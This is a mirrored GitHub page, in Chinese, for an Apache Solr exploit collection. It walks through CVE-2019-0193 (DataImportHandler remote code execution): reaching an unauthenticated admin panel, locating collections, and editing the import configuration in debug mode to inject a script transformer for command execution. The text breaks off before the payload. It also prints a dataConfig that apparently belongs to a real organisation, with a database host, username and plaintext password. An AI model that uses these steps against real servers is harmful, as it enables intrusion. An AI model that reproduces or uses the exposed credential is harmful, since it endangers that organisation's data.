项目作者: Imanfeng

项目描述 :
Apache Solr Exploits 🌟
高级语言:
项目地址: git://github.com/Imanfeng/Apache-Solr-RCE.git
创建时间: 2019-08-10T13:30:44Z
项目社区:https://github.com/Imanfeng/Apache-Solr-RCE

开源协议:

下载


Apache-Solr-Vulnerability

Apache Solr Some Exploits 🌟

CVE-2019-0193

CVE-2019-0192

CVE-2019-17558

CVE-2017-12629

CVE-2019-12409

CVE-2020-13957

CVE-2018-8026

CVE-2019-0193

Apache Solr DataImportHandler RCE

影响版本

Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用)

漏洞利用

1.首先判读是否solr不需认证直接可访问后台(大多数均可访问)

2.判断是否存在collections

1

3.判断collections是否可以使用dataimport功能

2

4.debug模式修改configuration

原:

  1. <dataConfig>
  2. <dataSource type="JdbcDataSource"
  3. driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
  4. url="jdbc:sqlserver://SqlServer;databaseName=TrainUpCore"
  5. user="pid.trainup"
  6. password="S@cram3nt0"
  7. readOnly="true"
  8. ></dataSource>
  9. <document name="TrainUpDoc">
  10. <entity name="Lo" query="select newid() id, * from CatalogSearch.Categories_LiveTrainingWithoutLocation order by ItemTitle">
  11. <field column="ItemTitle" name="ItemTitle"></field>
  12. <field column="ItemCourseId" name="ItemCourseId"></field>
  13. <field column="ItemDescription" name="ItemDescription"></field>
  14. <field column="Price" name="ItemPrice"></field>
  15. <field column="ItemDurationType" name="ItemDurationType"></field>
  16. <field column="ItemDurationValue" name="ItemDurationValue"></field>
  17. <field column="typeItemCode" name="typeItemCode"></field>
  18. <field column="ProviderWeight" name="ProviderWeight"></field>
  19. <field column="ItemCatId" name="ItemCatId"></field>
  20. <field column="PublishedDate" name="PublishedDate"></field>
  21. <field column="ItemImageUrl" name="ItemImageUrl"></field>
  22. <field column="ItemTrainingRating" name="ItemTrainingRating"></field>
  23. <field column="#Row" name="#Row"></field>
  24. <field column="ItemCatImageUrl" name="ItemCatImageUrl"></field>
  25. <field column="ItemEventsno" name="ItemEventsno"></field>
  26. <field column="CourseWeight" name="CourseWeight"></field>
  27. <field column="CategoryRankScore" name="CategoryRankScore"></field>
  28. </entity>
  29. </document>
  30. </dataConfig>

[1] 无回显 直接执行命令修改:

​ (1)在entity中添加transformer=”script:f1”,f1为函数名

​ (2)添加